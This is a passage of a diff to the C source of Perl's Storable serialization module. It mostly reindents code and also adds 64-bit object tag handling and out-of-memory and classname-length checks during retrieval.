+        return svis_REGEXP;
+#endif
+    default:
+        break;
+    }
 
-	return svis_OTHER;
+    return svis_OTHER;
 }
 
 /*
@@ -3611,123 +4330,146 @@
  */
 static int store(pTHX_ stcxt_t *cxt, SV *sv)
 {
-	SV **svh;
-	int ret;
-	int type;
+    SV **svh;
+    int ret;
+    int type;
 #ifdef USE_PTR_TABLE
-	struct ptr_tbl *pseen = cxt->pseen;
+    struct ptr_tbl *pseen = cxt->pseen;
 #else
-	HV *hseen = cxt->hseen;
+    HV *hseen = cxt->hseen;
 #endif
 
-	TRACEME(("store (0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("store (0x%" UVxf ")", PTR2UV(sv)));
 
-	/*
-	 * If object has already been stored, do not duplicate data.
-	 * Simply emit the SX_OBJECT marker followed by its tag data.
-	 * The tag is always written in network order.
-	 *
-	 * NOTA BENE, for 64-bit machines: the "*svh" below does not yield a
-	 * real pointer, rather a tag number (watch the insertion code below).
-	 * That means it probably safe to assume it is well under the 32-bit limit,
-	 * and makes the truncation safe.
-	 *		-- RAM, 14/09/1999
-	 */
+    /*
+     * If object has already been stored, do not duplicate data.
+     * Simply emit the SX_OBJECT marker followed by its tag data.
+     * The tag is always written in network order.
+     *
+     * NOTA BENE, for 64-bit machines: the "*svh" below does not yield a
+     * real pointer, rather a tag number (watch the insertion code below).
+     * That means it probably safe to assume it is well under the 32-bit
+     * limit, and makes the truncation safe.
+     *		-- RAM, 14/09/1999
+     */
 
 #ifdef USE_PTR_TABLE
-	svh = (SV **)ptr_table_fetch(pseen, sv);
+    svh = (SV **)ptr_table_fetch(pseen, sv);
 #else
-	svh = hv_fetch(hseen, (char *) &sv, sizeof(sv), FALSE);
+    svh = hv_fetch(hseen, (char *) &sv, sizeof(sv), FALSE);
 #endif
-	if (svh) {
-		I32 tagval;
+    if (svh) {
+	ntag_t tagval;
+	if (sv == &PL_sv_undef) {
+            /* We have seen PL_sv_undef before, but fake it as
+               if we have not.
 
-		if (sv == &PL_sv_undef) {
-			/* We have seen PL_sv_undef before, but fake it as
-			   if we have not.
+               Not the simplest solution to making restricted
+               hashes work on 5.8.0, but it does mean that
+               repeated references to the one true undef will
+               take up less space in the output file.
+            */
+            /* Need to jump past the next hv_store, because on the
+               second store of undef the old hash value will be
+               SvREFCNT_dec()ed, and as Storable cheats horribly
+               by storing non-SVs in the hash a SEGV will ensure.
+               Need to increase the tag number so that the
+               receiver has no idea what games we're up to.  This
+               special casing doesn't affect hooks that store
+               undef, as the hook routine does its own lookup into
+               hseen.  Also this means that any references back
+               to PL_sv_undef (from the pathological case of hooks
+               storing references to it) will find the seen hash
+               entry for the first time, as if we didn't have this
+               hackery here. (That hseen lookup works even on 5.8.0
+               because it's a key of &PL_sv_undef and a value
+               which is a tag number, not a value which is
+               PL_sv_undef.)  */
+            cxt->tagnum++;
+            type = svis_SCALAR;
+            goto undef_special_case;
+        }
 
-			   Not the simplest solution to making restricted
-			   hashes work on 5.8.0, but it does mean that
-			   repeated references to the one true undef will
-			   take up less space in the output file.
-			*/
-			/* Need to jump past the next hv_store, because on the
-			   second store of undef the old hash value will be
-			   SvREFCNT_dec()ed, and as Storable cheats horribly
-			   by storing non-SVs in the hash a SEGV will ensure.
-			   Need to increase the tag number so that the
-			   receiver has no idea what games we're up to.  This
-			   special casing doesn't affect hooks that store
-			   undef, as the hook routine does its own lookup into
-			   hseen.  Also this means that any references back
-			   to PL_sv_undef (from the pathological case of hooks
-			   storing references to it) will find the seen hash
-			   entry for the first time, as if we didn't have this
-			   hackery here. (That hseen lookup works even on 5.8.0
-			   because it's a key of &PL_sv_undef and a value
-			   which is a tag number, not a value which is
-			   PL_sv_undef.)  */
-			cxt->tagnum++;
-			type = svis_SCALAR;
-			goto undef_special_case;
-		}
-		
 #ifdef USE_PTR_TABLE
-		tagval = htonl(LOW_32BITS(((char *)svh)-1));
+	tagval = PTR2TAG(((char *)svh)-1);
 #else
-		tagval = htonl(LOW_32BITS(*svh));
+	tagval = PTR2TAG(*svh);
 #endif
+#ifdef HAS_U64
 
-		TRACEME(("object 0x%" UVxf " seen as #%d",
-                         PTR2UV(sv), ntohl(tagval)));
+       /* older versions of Storable streat the tag as a signed value
+          used in an array lookup, corrupting the data structure.
+          Ensure only a newer Storable will be able to parse this tag id
+          if it's over the 2G mark.
+        */
+	if (tagval > I32_MAX) {
 
-		PUTMARK(SX_OBJECT);
-		WRITE_I32(tagval);
-		return 0;
+	    TRACEME(("object 0x%" UVxf " seen as #%" UVuf, PTR2UV(sv),
+		     (UV)tagval));
+
+	    PUTMARK(SX_LOBJECT);
+	    PUTMARK(SX_OBJECT);
+	    W64LEN(tagval);
+	    return 0;
 	}
+	else
+#endif
+	{
+	    I32 ltagval;
 
-	/*
-	 * Allocate a new tag and associate it with the address of the sv being
-	 * stored, before recursing...
-	 *
-	 * In order to avoid creating new SvIVs to hold the tagnum we just
-	 * cast the tagnum to an SV pointer and store that in the hash.  This
-	 * means that we must clean up the hash manually afterwards, but gives
-	 * us a 15% throughput increase.
-	 *
-	 */
+	    ltagval = htonl((I32)tagval);
 
-	cxt->tagnum++;
+	    TRACEME(("object 0x%" UVxf " seen as #%d", PTR2UV(sv),
+		     ntohl(ltagval)));
+
+	    PUTMARK(SX_OBJECT);
+	    WRITE_I32(ltagval);
+	    return 0;
+	}
+    }
+
+    /*
+     * Allocate a new tag and associate it with the address of the sv being
+     * stored, before recursing...
+     *
+     * In order to avoid creating new SvIVs to hold the tagnum we just
+     * cast the tagnum to an SV pointer and store that in the hash.  This
+     * means that we must clean up the hash manually afterwards, but gives
+     * us a 15% throughput increase.
+     *
+     */
+
+    cxt->tagnum++;
 #ifdef USE_PTR_TABLE
-	ptr_table_store(pseen, sv, INT2PTR(SV*, 1 + cxt->tagnum));
+    ptr_table_store(pseen, sv, INT2PTR(SV*, 1 + cxt->tagnum));
 #else
-	if (!hv_store(hseen,
-			(char *) &sv, sizeof(sv), INT2PTR(SV*, cxt->tagnum), 0))
-		return -1;
+    if (!hv_store(hseen,
+                  (char *) &sv, sizeof(sv), INT2PTR(SV*, cxt->tagnum), 0))
+        return -1;
 #endif
 
-	/*
-	 * Store 'sv' and everything beneath it, using appropriate routine.
-	 * Abort immediately if we get a non-zero status back.
-	 */
+    /*
+     * Store 'sv' and everything beneath it, using appropriate routine.
+     * Abort immediately if we get a non-zero status back.
+     */
 
-	type = sv_type(aTHX_ sv);
+    type = sv_type(aTHX_ sv);
 
-undef_special_case:
-	TRACEME(("storing 0x%" UVxf " tag #%d, type %d...",
-		 PTR2UV(sv), cxt->tagnum, type));
+ undef_special_case:
+    TRACEME(("storing 0x%" UVxf " tag #%d, type %d...",
+             PTR2UV(sv), (int)cxt->tagnum, (int)type));
 
-	if (SvOBJECT(sv)) {
-		HV *pkg = SvSTASH(sv);
-		ret = store_blessed(aTHX_ cxt, sv, type, pkg);
-	} else
-		ret = SV_STORE(type)(aTHX_ cxt, sv);
+    if (SvOBJECT(sv)) {
+        HV *pkg = SvSTASH(sv);
+        ret = store_blessed(aTHX_ cxt, sv, type, pkg);
+    } else
+        ret = SV_STORE(type)(aTHX_ cxt, sv);
 
-	TRACEME(("%s (stored 0x%" UVxf ", refcnt=%d, %s)",
-		ret ? "FAILED" : "ok", PTR2UV(sv),
-		SvREFCNT(sv), sv_reftype(sv, FALSE)));
+    TRACEME(("%s (stored 0x%" UVxf ", refcnt=%d, %s)",
+             ret ? "FAILED" : "ok", PTR2UV(sv),
+             (int)SvREFCNT(sv), sv_reftype(sv, FALSE)));
 
-	return ret;
+    return ret;
 }
 
 /*
@@ -3770,9 +4512,9 @@
         (char) sizeof (byteorderstr) - 1,
         BYTEORDER_BYTES,
         (unsigned char) sizeof(int),
-	(unsigned char) sizeof(long),
+        (unsigned char) sizeof(long),
         (unsigned char) sizeof(char *),
-	(unsigned char) sizeof(NV)
+        (unsigned char) sizeof(NV)
     };
 #ifdef USE_56_INTERWORK_KLUDGE
     static const unsigned char file_header_56[] = {
@@ -3783,9 +4525,9 @@
         (char) sizeof (byteorderstr_56) - 1,
         BYTEORDER_BYTES_56,
         (unsigned char) sizeof(int),
-	(unsigned char) sizeof(long),
+        (unsigned char) sizeof(long),
         (unsigned char) sizeof(char *),
-	(unsigned char) sizeof(NV)
+        (unsigned char) sizeof(NV)
     };
 #endif
     const unsigned char *header;
@@ -3798,30 +4540,30 @@
         length = sizeof (network_file_header);
     } else {
 #ifdef USE_56_INTERWORK_KLUDGE
-        if (SvTRUE(perl_get_sv("Storable::interwork_56_64bit", GV_ADD))) {
+        if (SvTRUE(get_sv("Storable::interwork_56_64bit", GV_ADD))) {
             header = file_header_56;
             length = sizeof (file_header_56);
         } else
 #endif
-        {
-            header = file_header;
-            length = sizeof (file_header);
-        }
-    }        
+            {
+                header = file_header;
+                length = sizeof (file_header);
+            }
+    }
 
     if (!cxt->fio) {
         /* sizeof the array includes the 0 byte at the end.  */
         header += sizeof (magicstr) - 1;
         length -= sizeof (magicstr) - 1;
-    }        
+    }
 
     WRITE( (unsigned char*) header, length);
 
     if (!cxt->netorder) {
-	TRACEME(("ok (magic_write byteorder = 0x%lx [%d], I%d L%d P%d D%d)",
-		 (unsigned long) BYTEORDER, (int) sizeof (byteorderstr) - 1,
-		 (int) sizeof(int), (int) sizeof(long),
-		 (int) sizeof(char *), (int) sizeof(NV)));
+        TRACEME(("ok (magic_write byteorder = 0x%lx [%d], I%d L%d P%d D%d)",
+                 (unsigned long) BYTEORDER, (int) sizeof (byteorderstr) - 1,
+                 (int) sizeof(int), (int) sizeof(long),
+                 (int) sizeof(char *), (int) sizeof(NV)));
     }
     return 0;
 }
@@ -3837,117 +4579,118 @@
  * It is required to provide a non-null 'res' when the operation type is not
  * dclone() and store() is performed to memory.
  */
-static int do_store(
-        pTHX_
+static int do_store(pTHX_
 	PerlIO *f,
-	SV *sv,
-	int optype,
-	int network_order,
-	SV **res)
+        SV *sv,
+        int optype,
+        int network_order,
+        SV **res)
 {
-	dSTCXT;
-	int status;
+    dSTCXT;
+    int status;
 
-	ASSERT(!(f == 0 && !(optype & ST_CLONE)) || res,
-		("must supply result SV pointer for real recursion to memory"));
+    ASSERT(!(f == 0 && !(optype & ST_CLONE)) || res,
+           ("must supply result SV pointer for real recursion to memory"));
 
-	TRACEME(("do_store (optype=%d, netorder=%d)",
-		optype, network_order));
+    TRACEMED(("do_store (optype=%d, netorder=%d)",
+             optype, network_order));
 
-	optype |= ST_STORE;
+    optype |= ST_STORE;
 
-	/*
-	 * Workaround for CROAK leak: if they enter with a "dirty" context,
-	 * free up memory for them now.
-	 */
+    /*
+     * Workaround for CROAK leak: if they enter with a "dirty" context,
+     * free up memory for them now.
+     */
 
-	assert(cxt);
-	if (cxt->s_dirty)
-		clean_context(aTHX_ cxt);
+    assert(cxt);
+    if (cxt->s_dirty)
+        clean_context(aTHX_ cxt);
 
-	/*
-	 * Now that STORABLE_xxx hooks exist, it is possible that they try to
-	 * re-enter store() via the hooks.  We need to stack contexts.
-	 */
+    /*
+     * Now that STORABLE_xxx hooks exist, it is possible that they try to
+     * re-enter store() via the hooks.  We need to stack contexts.
+     */
 
-	if (cxt->entry)
-		cxt = allocate_context(aTHX_ cxt);
+    if (cxt->entry)
+        cxt = allocate_context(aTHX_ cxt);
 
-	cxt->entry++;
+    INIT_TRACEME;
 
-	ASSERT(cxt->entry == 1, ("starting new recursion"));
-	ASSERT(!cxt->s_dirty, ("clean context"));
+    cxt->entry++;
 
-	/*
-	 * Ensure sv is actually a reference. From perl, we called something
-	 * like:
-	 *       pstore(aTHX_ FILE, \@array);
-	 * so we must get the scalar value behind that reference.
-	 */
+    ASSERT(cxt->entry == 1, ("starting new recursion"));
+    ASSERT(!cxt->s_dirty, ("clean context"));
 
-	if (!SvROK(sv))
-		CROAK(("Not a reference"));
-	sv = SvRV(sv);			/* So follow it to know what to store */
+    /*
+     * Ensure sv is actually a reference. From perl, we called something
+     * like:
+     *       pstore(aTHX_ FILE, \@array);
+     * so we must get the scalar value behind that reference.
+     */
 
-	/* 
-	 * If we're going to store to memory, reset the buffer.
-	 */
+    if (!SvROK(sv))
+        CROAK(("Not a reference"));
+    sv = SvRV(sv);		/* So follow it to know what to store */
 
-	if (!f)
-		MBUF_INIT(0);
+    /* 
+     * If we're going to store to memory, reset the buffer.
+     */
 
-	/*
-	 * Prepare context and emit headers.
-	 */
+    if (!f)
+        MBUF_INIT(0);
 
-	init_store_context(aTHX_ cxt, f, optype, network_order);
+    /*
+     * Prepare context and emit headers.
+     */
 
-	if (-1 == magic_write(aTHX_ cxt))		/* Emit magic and ILP info */
-		return 0;					/* Error */
+    init_store_context(aTHX_ cxt, f, optype, network_order);
 
-	/*
-	 * Recursively store object...
-	 */
+    if (-1 == magic_write(aTHX_ cxt))	/* Emit magic and ILP info */
+        return 0;			/* Error */
 
-	ASSERT(is_storing(aTHX), ("within store operation"));
+    /*
+     * Recursively store object...
+     */
 
-	status = store(aTHX_ cxt, sv);		/* Just do it! */
+    ASSERT(is_storing(aTHX), ("within store operation"));
 
-	/*
-	 * If they asked for a memory store and they provided an SV pointer,
-	 * make an SV string out of the buffer and fill their pointer.
-	 *
-	 * When asking for ST_REAL, it's MANDATORY for the caller to provide
-	 * an SV, since context cleanup might free the buffer if we did recurse.
-	 * (unless caller is dclone(), which is aware of that).
-	 */
+    status = store(aTHX_ cxt, sv);	/* Just do it! */
 
-	if (!cxt->fio && res)
-		*res = mbuf2sv(aTHX);
+    /*
+     * If they asked for a memory store and they provided an SV pointer,
+     * make an SV string out of the buffer and fill their pointer.
+     *
+     * When asking for ST_REAL, it's MANDATORY for the caller to provide
+     * an SV, since context cleanup might free the buffer if we did recurse.
+     * (unless caller is dclone(), which is aware of that).
+     */
 
-	/*
-	 * Final cleanup.
-	 *
-	 * The "root" context is never freed, since it is meant to be always
-	 * handy for the common case where no recursion occurs at all (i.e.
-	 * we enter store() outside of any Storable code and leave it, period).
-	 * We know it's the "root" context because there's nothing stacked
-	 * underneath it.
-	 *
-	 * OPTIMIZATION:
-	 *
-	 * When deep cloning, we don't free the context: doing so would force
-	 * us to copy the data in the memory buffer.  Sicne we know we're
-	 * about to enter do_retrieve...
-	 */
+    if (!cxt->fio && res)
+        *res = mbuf2sv(aTHX);
 
-	clean_store_context(aTHX_ cxt);
-	if (cxt->prev && !(cxt->optype & ST_CLONE))
-		free_context(aTHX_ cxt);
+    TRACEME(("do_store returns %d", status));
 
-	TRACEME(("do_store returns %d", status));
+    /*
+     * Final cleanup.
+     *
+     * The "root" context is never freed, since it is meant to be always
+     * handy for the common case where no recursion occurs at all (i.e.
+     * we enter store() outside of any Storable code and leave it, period).
+     * We know it's the "root" context because there's nothing stacked
+     * underneath it.
+     *
+     * OPTIMIZATION:
+     *
+     * When deep cloning, we don't free the context: doing so would force
+     * us to copy the data in the memory buffer.  Sicne we know we're
+     * about to enter do_retrieve...
+     */
 
-	return status == 0;
+    clean_store_context(aTHX_ cxt);
+    if (cxt->prev && !(cxt->optype & ST_CLONE))
+        free_context(aTHX_ cxt);
+
+    return status == 0;
 }
 
 /***
@@ -3961,10 +4704,10 @@
  */
 static SV *mbuf2sv(pTHX)
 {
-	dSTCXT;
+    dSTCXT;
 
-	assert(cxt);
-	return newSVpv(mbase, MBUF_SIZE());
+    assert(cxt);
+    return newSVpv(mbase, MBUF_SIZE());
 }
 
 /***
@@ -3979,22 +4722,22 @@
  */
 static SV *retrieve_other(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	PERL_UNUSED_ARG(cname);
-	if (
-		cxt->ver_major != STORABLE_BIN_MAJOR &&
-		cxt->ver_minor != STORABLE_BIN_MINOR
+    PERL_UNUSED_ARG(cname);
+    if (
+        cxt->ver_major != STORABLE_BIN_MAJOR &&
+        cxt->ver_minor != STORABLE_BIN_MINOR
 	) {
-		CROAK(("Corrupted storable %s (binary v%d.%d), current is v%d.%d",
-			cxt->fio ? "file" : "string",
-			cxt->ver_major, cxt->ver_minor,
-			STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR));
-	} else {
-		CROAK(("Corrupted storable %s (binary v%d.%d)",
-			cxt->fio ? "file" : "string",
-			cxt->ver_major, cxt->ver_minor));
-	}
+        CROAK(("Corrupted storable %s (binary v%d.%d), current is v%d.%d",
+               cxt->fio ? "file" : "string",
+               cxt->ver_major, cxt->ver_minor,
+               STORABLE_BIN_MAJOR, STORABLE_BIN_MINOR));
+    } else {
+        CROAK(("Corrupted storable %s (binary v%d.%d)",
+               cxt->fio ? "file" : "string",
+               cxt->ver_major, cxt->ver_minor));
+    }
 
-	return (SV *) 0;		/* Just in case */
+    return (SV *) 0;		/* Just in case */
 }
 
 /*
@@ -4005,39 +4748,40 @@
  */
 static SV *retrieve_idx_blessed(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	I32 idx;
-	const char *classname;
-	SV **sva;
-	SV *sv;
+    I32 idx;
+    const char *classname;
+    SV **sva;
+    SV *sv;
 
-	PERL_UNUSED_ARG(cname);
-	TRACEME(("retrieve_idx_blessed (#%d)", cxt->tagnum));
-	ASSERT(!cname, ("no bless-into class given here, got %s", cname));
+    PERL_UNUSED_ARG(cname);
+    TRACEME(("retrieve_idx_blessed (#%d)", (int)cxt->tagnum));
+    ASSERT(!cname, ("no bless-into class given here, got %s", cname));
 
-	GETMARK(idx);			/* Index coded on a single char? */
-	if (idx & 0x80)
-		RLEN(idx);
+    GETMARK(idx);			/* Index coded on a single char? */
+    if (idx & 0x80)
+        RLEN(idx);
 
-	/*
-	 * Fetch classname in 'aclass'
-	 */
+    /*
+     * Fetch classname in 'aclass'
+     */
 
-	sva = av_fetch(cxt->aclass, idx, FALSE);
-	if (!sva)
-		CROAK(("Class name #%" IVdf " should have been seen already",
-                       (IV) idx));
+    sva = av_fetch(cxt->aclass, idx, FALSE);
+    if (!sva)
+        CROAK(("Class name #%" IVdf " should have been seen already",
+               (IV) idx));
 
-	classname = SvPVX(*sva);	/* We know it's a PV, by construction */
+    classname = SvPVX(*sva);	/* We know it's a PV, by construction */
 
-	TRACEME(("class ID %d => %s", idx, classname));
+    TRACEME(("class ID %d => %s", (int)idx, classname));
 
-	/*
-	 * Retrieve object and bless it.
-	 */
+    /*
+     * Retrieve object and bless it.
+     */
 
-	sv = retrieve(aTHX_ cxt, classname);	/* First SV which is SEEN will be blessed */
+    sv = retrieve(aTHX_ cxt, classname); /* First SV which is SEEN
+                                            will be blessed */
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -4048,56 +4792,61 @@
  */
 static SV *retrieve_blessed(pTHX_ stcxt_t *cxt, const char *cname)
 {
-	U32 len;
-	SV *sv;
-	char buf[LG_BLESS + 1];		/* Avoid malloc() if possible */
-	char *classname = buf;
-	char *malloced_classname = NULL;
+    U32 len;
+    SV *sv;
+    char buf[LG_BLESS + 1];		/* Avoid malloc() if possible */
+    char *classname = buf;
+    char *malloced_classname = NULL;
 
-	PERL_UNUSED_ARG(cname);
-	TRACEME(("retrieve_blessed (#%d)", cxt->tagnum));
-	ASSERT(!cname, ("no bless-into class given here, got %s", cname));
+    PERL_UNUSED_ARG(cname);
+    TRACEME(("retrieve_blessed (#%d)", (int)cxt->tagnum));
+    ASSERT(!cname, ("no bless-into class given here, got %s", cname));
 
-	/*
-	 * Decode class name length and read that name.
-	 *
-	 * Short classnames have two advantages: their length is stored on one
-	 * single byte, and the string can be read on the stack.
-	 */
+    /*
+     * Decode class name length and read that name.
+     *
+     * Short classnames have two advantages: their length is stored on one
+     * single byte, and the string can be read on the stack.
+     */
 
-	GETMARK(len);			/* Length coded on a single char? */
-	if (len & 0x80) {
-		RLEN(len);
-		TRACEME(("** allocating %d bytes for class name", len+1));
-		if (len > I32_MAX) {
-			CROAK(("Corrupted classname length"));
-		}
-		New(10003, classname, len+1, char);
-		malloced_classname = classname;
-	}
-	SAFEPVREAD(classname, len, malloced_classname);
-	classname[len] = '\0';		/* Mark string end */
+    GETMARK(len);			/* Length coded on a single char? */
+    if (len & 0x80) {
+        RLEN(len);
+        TRACEME(("** allocating %ld bytes for class name", (long)len+1));
+        if (len > I32_MAX)
+            CROAK(("Corrupted classname length %lu", (long)len));
+        PL_nomemok = TRUE; /* handle error by ourselves */
+        New(10003, classname, len+1, char);
+        PL_nomemok = FALSE;
+        if (!classname)
+            CROAK(("Out of memory with len %ld", (long)len));
+        PL_nomemok = FALSE;
+        malloced_classname = classname;
+    }
+    SAFEPVREAD(classname, (I32)len, malloced_classname);
+    classname[len] = '\0';		/* Mark string end */
 
-	/*
-	 * It's a new classname, otherwise it would have been an SX_IX_BLESS.
-	 */
+    /*
+     * It's a new classname, otherwise it would have been an SX_IX_BLESS.
+     */
 
-	TRACEME(("new class name \"%s\" will bear ID = %d", classname, cxt->classnum));
+    TRACEME(("new class name \"%s\" will bear ID = %d", classname,
+             (int)cxt->classnum));
 
-	if (!av_store(cxt->aclass, cxt->classnum++, newSVpvn(classname, len))) {
-		Safefree(malloced_classname);
-		return (SV *) 0;
-	}
+    if (!av_store(cxt->aclass, cxt->classnum++, newSVpvn(classname, len))) {
+        Safefree(malloced_classname);
+        return (SV *) 0;
+    }
 
-	/*
-	 * Retrieve object and bless it.
-	 */
+    /*
+     * Retrieve object and bless it.
+     */
 
-	sv = retrieve(aTHX_ cxt, classname);	/* First SV which is SEEN will be blessed */
-	if (malloced_classname)
-		Safefree(malloced_classname);
+    sv = retrieve(aTHX_ cxt, classname); /* First SV which is SEEN will be blessed */
+    if (malloced_classname)
+        Safefree(malloced_classname);
 
-	return sv;
+    return sv;
 }
 
 /*
@@ -4120,429 +4869,485 @@
  * processing (since we won't have seen the magic object by the time the hook
  * is called).  See comments below for why it was done that way.
  */
-static SV *retrieve_hook(pTHX_ stcxt_t *cxt, const char *cname)
+static SV *retrieve_hook_common(pTHX_ stcxt_t *cxt, const char *cname, int large)
 {
-	U32 len;
-	char buf[LG_BLESS + 1];		/* Avoid malloc() if possible */
-	char *classname = buf;
-	unsigned int flags;
-	I32 len2;
-	SV *frozen;
-	I32 len3 = 0;
-	AV *av = 0;
-	SV *hook;
-	SV *sv;
-	SV *rv;
-	GV *attach;
-	HV *stash;
-	int obj_type;
-	int clone = cxt->optype & ST_CLONE;
-	char mtype = '\0';
-	unsigned int extra_type = 0;
+    U32 len;
+    char buf[LG_BLESS + 1];		/* Avoid malloc() if possible */
+    char *classname = buf;
+    unsigned int flags;
+    STRLEN len2;
+    SV *frozen;
+    I32 len3 = 0;
+    AV *av = 0;
+    SV *hook;
+    SV *sv;
+    SV *rv;
+    GV *attach;
+    HV *stash;
+    int obj_type;
+    int clone = cxt->optype & ST_CLONE;
+    char mtype = '\0';
+    unsigned int extra_type = 0;
+#ifdef HAS_U64
+    int has_large_oids = 0;
+#endif
 
-	PERL_UNUSED_ARG(cname);
-	TRACEME(("retrieve_hook (#%d)", cxt->tagnum));
-	ASSERT(!cname, ("no bless-into class given here, got %s", cname));
+    PERL_UNUSED_ARG(cname);
+    TRACEME(("retrieve_hook (#%d)", (int)cxt->tagnum));
+    ASSERT(!cname, ("no bless-into class given here, got %s", cname));
 
-	/*
-	 * Read flags, which tell us about the type, and whether we need to recurse.
-	 */
+#ifndef HAS_U64
+    assert(!large);
+    PERL_UNUSED_ARG(large);
+#endif
 
-	GETMARK(flags);
+    /*
+     * Read flags, which tell us about the type, and whether we need
+     * to recurse.
+     */
 
-	/*
-	 * Create the (empty) object, and mark it as seen.
-	 *
-	 * This must be done now, because tags are incremented, and during
-	 * serialization, the object tag was affected before recursion could
-	 * take place.
-	 */
+    GETMARK(flags);
 
-	obj_type = flags & SHF_TYPE_MASK;
-	switch (obj_type) {
-	case SHT_SCALAR:
-		sv = newSV(0);
-		break;
-	case SHT_ARRAY:
-		sv = (SV *) newAV();
-		break;
-	case SHT_HASH:
-		sv = (SV *) newHV();
-		break;
-	case SHT_EXTRA:
-		/*
-		 * Read <extra> flag to know the type of the object.
-		 * Record associated magic type for later.
-		 */
-		GETMARK(extra_type);
-		switch (extra_type) {
-		case SHT_TSCALAR:
-			sv = newSV(0);
-			mtype = 'q';
-			break;
-		case SHT_TARRAY:
-			sv = (SV *) newAV();
-			mtype = 'P';
-			break;
-		case SHT_THASH:
-			sv = (SV *) newHV();
-			mtype = 'P';
-			break;
-		default:
-			return retrieve_other(aTHX_ cxt, 0);	/* Let it croak */
-		}
-		break;
-	default:
-		return retrieve_other(aTHX_ cxt, 0);		/* Let it croak */
-	}
-	SEEN0_NN(sv, 0);							/* Don't bless yet */
+    /*
+     * Create the (empty) object, and mark it as seen.
+     *
+     * This must be done now, because tags are incremented, and during
+     * serialization, the object tag was affected before recursion could
+     * take place.
+     */
 
-	/*
-	 * Whilst flags tell us to recurse, do so.
-	 *
-	 * We don't need to remember the addresses returned by retrieval, because
-	 * all the references will be obtained through indirection via the object
-	 * tags in the object-ID list.
-	 *
-	 * We need to decrement the reference count for these objects
-	 * because, if the user doesn't save a reference to them in the hook,
-	 * they must be freed when this context is cleaned.
-	 */
+    obj_type = flags & SHF_TYPE_MASK;
+    switch (obj_type) {
+    case SHT_SCALAR:
+        sv = newSV(0);
+        break;
+    case SHT_ARRAY:
+        sv = (SV *) newAV();
+        break;
+    case SHT_HASH:
+        sv = (SV *) newHV();
+        break;
+    case SHT_EXTRA:
+        /*
+         * Read <extra> flag to know the type of the object.
+         * Record associated magic type for later.
+         */
+        GETMARK(extra_type);
+        switch (extra_type) {
+        case SHT_TSCALAR:
+            sv = newSV(0);
+            mtype = 'q';
+            break;
+        case SHT_TARRAY:
+            sv = (SV *) newAV();
+            mtype = 'P';
+            break;
+        case SHT_THASH:
+            sv = (SV *) newHV();
+            mtype = 'P';
+            break;
+        default:
+            return retrieve_other(aTHX_ cxt, 0);/* Let it croak */
+        }
+        break;
+    default:
+        return retrieve_other(aTHX_ cxt, 0);	/* Let it croak */
+    }
+    SEEN0_NN(sv, 0);				/* Don't bless yet */
 
-	while (flags & SHF_NEED_RECURSE) {
-		TRACEME(("retrieve_hook recursing..."));
-		rv = retrieve(aTHX_ cxt, 0);
-		if (!rv)
-			return (SV *) 0;
-		SvREFCNT_dec(rv);
-		TRACEME(("retrieve_hook back with rv=0x%" UVxf,
-			 PTR2UV(rv)));
-		GETMARK(flags);
-	}
+    /*
+     * Whilst flags tell us to recurse, do so.
+     *
+     * We don't need to remember the addresses returned by retrieval, because
+     * all the references will be obtained through indirection via the object
+     * tags in the object-ID list.
+     *
+     * We need to decrement the reference count for these objects
+     * because, if the user doesn't save a reference to them in the hook,
+     * they must be freed when this context is cleaned.
+     */
 
-	if (flags & SHF_IDX_CLASSNAME) {
-		SV **sva;
-		I32 idx;
+    while (flags & SHF_NEED_RECURSE) {
+        TRACEME(("retrieve_hook recursing..."));
+        rv = retrieve(aTHX_ cxt, 0);
+        if (!rv)
+            return (SV *) 0;
+        SvREFCNT_dec(rv);
+        TRACEME(("retrieve_hook back with rv=0x%" UVxf,
+                 PTR2UV(rv)));
+        GETMARK(flags);
+    }
 
-		/*
-		 * Fetch index from 'aclass'
-		 */
+    if (flags & SHF_IDX_CLASSNAME) {
+        SV **sva;
+        I32 idx;
 
-		if (flags & SHF_LARGE_CLASSLEN)
-			RLEN(idx);
-		else
-			GETMARK(idx);
+        /*
+         * Fetch index from 'aclass'
+         */
 
-		sva = av_fetch(cxt->aclass, idx, FALSE);
-		if (!sva)
-			CROAK(("Class name #%" IVdf
-                               " should have been seen already", (IV) idx));
+        if (flags & SHF_LARGE_CLASSLEN)
+            RLEN(idx);
+        else
+            GETMARK(idx);
 
-		classname = SvPVX(*sva);	/* We know it's a PV, by construction */
-		TRACEME(("class ID %d => %s", idx, classname));
+        sva = av_fetch(cxt->aclass, idx, FALSE);
+        if (!sva)
+            CROAK(("Class name #%" IVdf " should have been seen already",
+                   (IV) idx));
 
-	} else {
-		/*
-		 * Decode class name length and read that name.
-		 *
-		 * NOTA BENE: even if the length is stored on one byte, we don't read
-		 * on the stack.  Just like retrieve_blessed(), we limit the name to
-		 * LG_BLESS bytes.  This is an arbitrary decision.
-		 */
-		char *malloced_classname = NULL;
+        classname = SvPVX(*sva);	/* We know it's a PV, by construction */
+        TRACEME(("class ID %d => %s", (int)idx, classname));
 
-		if (flags & SHF_LARGE_CLASSLEN)
-			RLEN(len);
-		else
-			GETMARK(len);
+    } else {
+        /*
+         * Decode class name length and read that name.
+         *
+         * NOTA BENE: even if the length is stored on one byte, we don't read
+         * on the stack.  Just like retrieve_blessed(), we limit the name to
+         * LG_BLESS bytes.  This is an arbitrary decision.
+         */
+        char *malloced_classname = NULL;
 
-		if (len > I32_MAX) {
-			CROAK(("Corrupted classname length"));
-		}
+        if (flags & SHF_LARGE_CLASSLEN)
+            RLEN(len);
+        else
+            GETMARK(len);
 
-		if (len > LG_BLESS) {
-			TRACEME(("** allocating %d bytes for class name", len+1));
-			New(10003, classname, len+1, char);
-			malloced_classname = classname;
-		}
+        TRACEME(("** allocating %ld bytes for class name", (long)len+1));
+        if (len > I32_MAX) /* security */
+            CROAK(("Corrupted classname length %lu", (long)len));
+        else if (len > LG_BLESS) { /* security: signed len */
+            PL_nomemok = TRUE;     /* handle error by ourselves */
+            New(10003, classname, len+1, char);
+            PL_nomemok = FALSE;
+            if (!classname)
+                CROAK(("Out of memory with len %u", (unsigned)len+1));
+            malloced_classname = classname;
+        }
 
-		SAFEPVREAD(classname, len, malloced_classname);
-		classname[len] = '\0';		/* Mark string end */
+        SAFEPVREAD(classname, (I32)len, malloced_classname);
+        classname[len] = '\0';		/* Mark string end */
 
-		/*
-		 * Record new classname.
-		 */
+        /*
+         * Record new classname.
+         */
 
-		if (!av_store(cxt->aclass, cxt->classnum++, newSVpvn(classname, len))) {
